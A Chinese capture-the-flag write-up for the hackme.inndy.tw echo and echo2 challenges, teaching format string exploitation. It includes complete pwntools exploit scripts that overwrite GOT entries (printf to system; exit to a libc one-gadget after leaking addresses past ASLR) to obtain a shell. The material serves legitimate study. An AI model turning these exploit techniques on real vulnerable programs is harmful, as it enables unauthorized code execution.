https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了rop和rop2这两个题目感觉还不错,我把wp分享出来,方便大家学习
echo的要求是

nc hackme.inndy.tw 7711
Tips: format string vulnerability

这个题目提示了是格式化字符串漏洞,所以先了解一下啥是格式化漏洞,参考
http://www.freebuf.com/articles/system/74224.html,http://bobao.360.cn/learning/detail/3654.html,http://bobao.360.cn/learning/detail/3674.html,https://paper.seebug.org/246/ 这四篇文章
下面我用ida打开ehco这个程序看main函数

可以看到这个程序很简单,循环输入,然后把输入的字符串输出到printf函数中,这个也就造成了格式化字符串漏洞
先运行一下程序看一下这个程序干了啥

可以看到这个程序在输入%p的时候把栈中保存的数据打印了出来
再看看程序开启了哪些保护:

看到NX enabled是开启了栈不可执行

可以通过while循环多次利用,很经典的利用方式,由于此题目没有开地址随机化,所以计算出system的plt表地址system_plt_addr,再覆写printf_got为system_plt_addr,关于got表和plt表的介绍可以参考下面的文章:http://blog.csdn.net/linyt/article/details/51635768
之后通过fgets读入"/bin/sh"时,printf("/bin/sh")已经相当于system("/bin/sh"),即可get shell
下面是我的exp

from pwn import *

def debug(addr = '0x080485B8'):
    raw_input('debug:')
    gdb.attach(r, "b *" + addr)

#objdump -dj .plt test
context(arch='i386', os='linux', log_level='debug')

r = process('/home/h11p/hackme/echo')

#r = remote('hackme.inndy.tw', 7711)

elf = ELF('/home/h11p/hackme/echo')

printf_got_addr = elf.got['printf']
print "%x" % printf_got_addr
system_plt_addr = elf.plt['system']
print "%x" % system_plt_addr

payload = fmtstr_payload(7, {printf_got_addr: system_plt_addr})
print payload                          #\x10\xa0\x0\x11\xa0\x0\x12\xa0\x0\x13\xa0\x0%240c%7$hhn%132c%8$hhn%128c%9$hhn%4c%10$hhn
debug()
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

下面我介绍一下fmtstr_payload这个函数,这个是专门为32位程序格式化字符串漏洞输出payload的一个函数,首先第一次参数是一个偏移量,可以由下面的代码提供这个偏移量的值

from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
    p = process("/home/h11p/hackme/echo")

    p.sendline(payload)
    info = p.recv()
    p.close()
    return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset


可以看到这个题目的偏移量是7
第二个参数是一个字典,意义是往key的地址,写入value的值
这个题目很简单,很快就解决了

下面是echo2这个题目,这个题目有点难度,我花了几乎两周时间来学习和思考
echo2的要求是

nc hackme.inndy.tw 7712

Tips: ASLR enabled

下面我用ida打开ehco这个程序看main函数

查看echo函数

这个程序的流程和上一个程序的流程没有什么区别,唯一的区别是这个程序是64位的

再看看程序开启了哪些保护:

可以看到这个程序开启了栈不可执行,地址随机化这两个防御措施
所以一开始这个代码调试起来就很有挑战,首先参考一篇文章
http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
这篇文章最后实现了一个DynELF_manual.py,这个脚本是打印指定进程的基地址,libc的基地址等程序运行时各种地址的信息,这里我看到这个脚本可以显示程序基地址,于是我就把其中的代码抽出来,因为我如果想在程序中下断点的话,必然是基地址+偏移地址,所以我的调试的代码是这样的

from pwn import *
import sys, os
import re

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0


context(arch='amd64', os='linux', log_level='debug')

def leak(address, size):
   with open('/proc/%s/mem' % mypid) as mem:
      mem.seek(address)
      return mem.read(size)

def findModuleBase(pid, mem):
   name = os.readlink('/proc/%s/exe' % pid)
   with open('/proc/%s/maps' % pid) as maps:
      for line in maps:
         if name in line:
            addr = int(line.split('-')[0], 16)
            mem.seek(addr)
            if mem.read(4) == "\x7fELF":
               bitFormat = u8(leak(addr + 4, 1))
               if bitFormat == 2:
                  global wordSz
                  global hwordSz
                  global bits
                  wordSz = 8
                  hwordSz = 4
                  bits = 64
               return addr
   log.failure("Module's base address not found.")
   sys.exit(1)

def debug(addr = 0):
    global mypid
    mypid = proc.pidof(r)[0]
    raw_input('debug:')
    with open('/proc/%s/mem' % mypid) as mem:
        moduleBase = findModuleBase(mypid, mem)
        gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))

这样的传入一个偏移地址就可以在gdb中成功下断了,补充一点说明,gdb中set follow-fork-mode parent这个指令的意思是:默认设置下,在调试多进程程序时GDB只会调试主进程。但是设置follow-fork-mode的话,就可调试多个进程。
set follow-fork-mode parent|child:
进入gdb后默认调试的是parent,要想调试child的话,需要设置set follow-fork-mode child,然后进入调试。当然这种方式只能同时调试一个进程。也就是当你在exit(0);这个函数下断点的时候,不会因为上面调用了system("echo Goodbye");而让gdb跑掉。

好下面开始调试,首先我把断点下在0x000000000000097F这里debug(addr=0x000000000000097F),然后运行,发现程序成功断在你想下断的位置

因为程序开启了随机化地址,所以首先要泄露程序的基地址和libc的基地址还要确定libc的版本
因为函数的返回地址都保存在栈中,所以要多打印一些栈中的信息

def test_leak():
    payload="aaaaaaaa."
    for i in xrange(20,50):
        payload=payload+"%"+str(i)+"$p"
        payload=payload+"."
    print payload
    r.sendline(payload)
    r.recv()

因为输入的长度有限,所以每次最多打印50个栈中的数据,在调试的时候会发现除了函数的返回地址,打印一些其他函数的返回地址,比如__libc_start_main

通过这个函数可以把函数返回地址和__libc_start_main的返回地址打印出来,这两个地址分别在41和43这个两个位置上,然后通过对比vmmap显示出来的基地址来计算机这个两个地址的偏移

程序的基地址和libc的基地址都确定了之后,下面要确定libc的版本,参考http://bobao.360.cn/ctf/detail/160.html
在打印出libc_start_main返回地址之后,减去偏移240(这个偏移在调试的时候可以看到,而且这个偏移是十进制显示的)后可以得到libc_start_main的实际地址,比如我这里__libc_start_main实际地址就是0x7f84278b1830-240=0x‭7F84278B1740 这里计算出来的尾数是740,然后把这个尾数放入libc-database查询一下是属于哪个版本的libc的

发现是属于libc2.23这个版本的
确定版本之后,就去翻一下libc中有没有可以直接拿来用的代码(翻的思路主要是找libc中/bin/sh的引用),最后发现

这个姿势是从https://github.com/LFlare/picoctf_2017_writeup/blob/master/binary/config-console/solve.py 学到的,记下这个偏移地址0xf0897,我把这个偏移地址命名为MAGIC
最后,也是最关键的步骤,就是将exit的got地址覆盖为MAGIC+libc_module,这样程序在执行到exit的时候就跑去执行我想执行的代码了
这里由三个比较坑的地方要注意:
(1)由于64位的地址中会出现/x00,这里会导致printf截断,为了避免截断,要把exit_got_addr地址放在payload最后面
(2)写的时候每次最多只能写两个字节的数据,所以用printf多循环几次以便把数据覆盖完整
(3)%"+lp1+"c%10$hn 这里的lp必须是十进制的,因为地址会变,所以写入的数据有时候是4位有时候是5位,如果是四位就要在payload前面加入一个字符来填充,这样才能使数据对齐
最后我的exp是:

from pwn import *
import sys, os
import re

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0

#MAGIC = 0x0f1117      #locallibc
MAGIC = 0x0f0897       #remotelibc

context(arch='amd64', os='linux', log_level='debug')

def leak(address, size):
   with open('/proc/%s/mem' % mypid) as mem:
      mem.seek(address)
      return mem.read(size)

def findModuleBase(pid, mem):
   name = os.readlink('/proc/%s/exe' % pid)
   with open('/proc/%s/maps' % pid) as maps:
      for line in maps:
         if name in line:
            addr = int(line.split('-')[0], 16)
            mem.seek(addr)
            if mem.read(4) == "\x7fELF":
               bitFormat = u8(leak(addr + 4, 1))
               if bitFormat == 2:
                  global wordSz
                  global hwordSz
                  global bits
                  wordSz = 8
                  hwordSz = 4
                  bits = 64
               return addr
   log.failure("Module's base address not found.")
   sys.exit(1)

def debug(addr = 0):
    global mypid
    mypid = proc.pidof(r)[0]
    raw_input('debug:')
    with open('/proc/%s/mem' % mypid) as mem:
        moduleBase = findModuleBase(mypid, mem)
        gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr)+"\nb 0x7fde6384f0e7")    #b vfprintf.c:2022



#r = process('/home/h11p/hackme/echo2')

r = remote('hackme.inndy.tw', 7712)

elf = ELF('/home/h11p/hackme/echo2')



printf_got_addr = elf.got['printf']
printf_plt_addr = elf.plt['printf']

exit_got_addr = elf.got['exit']
exit_plt_addr = elf.plt['exit']


system_got_addr = elf.got['system']
system_plt_addr = elf.plt['system']

#print "%x" %  elf.address


#debug(addr=0x000000000000097F)
payload_leak="aaaaaaaa.%43$p.%41$p.%42$p"

def test_leak():
    payload="aaaaaaaa."
    for i in xrange(40,45):
        payload=payload+"%"+str(i)+"$p"
        payload=payload+"."
    print payload
    r.sendline(payload)
    r.recv()

def ext(lp_num):
    if len(lp_num)==4:
        return "c"
    return ""

#test_leak()



r.sendline(payload_leak)
recv_all=r.recv().split(".")
base_module=eval(recv_all[-2]) -0xa03
print hex(base_module)
libc_module=eval(recv_all[-3]) -0x20830
print hex(libc_module)


exit_addr=base_module+exit_got_addr
print_addr=base_module+printf_got_addr
system_addr=base_module+system_plt_addr
got_system_addr=base_module+system_got_addr
plt_print_addr=base_module+printf_plt_addr
MAGIC_addr=libc_module+MAGIC

hex_exit_addr=hex(exit_addr)
hex_system_addr=hex(system_addr)
hex_got_system_addr=hex(got_system_addr)
hex_print_addr=hex(print_addr)
hex_plt_print_addr=hex(plt_print_addr)
hex_MAGIC_addr=hex(MAGIC_addr)

print "system_got:"+hex_got_system_addr
print "print_got:"+hex_print_addr
print "system_plt:"+hex_system_addr
print "print_plt:"+hex_plt_print_addr
print "MAGIC:"+hex_MAGIC_addr


#payload="bbbbbbaaaaaaa%154c%9$hhn"+p64(print_addr)
#0x5579cf0ab78c
lp1=str(int(int(hex_MAGIC_addr[-4:],16))-19)
lp2=str(int(int(hex_MAGIC_addr[-8:-4],16))-19)
lp3=str(int(int(hex_MAGIC_addr[-12:-8],16))-19)



payload1 = ext(lp1)+"ccccccbbbbbbaaaaaaa%"+lp1+"c%10$hn"+p64(exit_addr)


payload2 = ext(lp2)+"ccccccbbbbbbaaaaaaa%"+lp2+"c%10$hn"+p64(exit_addr+2)


payload3 = ext(lp3)+"ccccccbbbbbbaaaaaaa%"+lp3+"c%10$hn"+p64(exit_addr+4)


r.sendline(payload1)

r.sendline(payload2)
r.sendline(payload3)

r.sendline('exit')

r.interactive()

效果是

源链接

Hacking more

...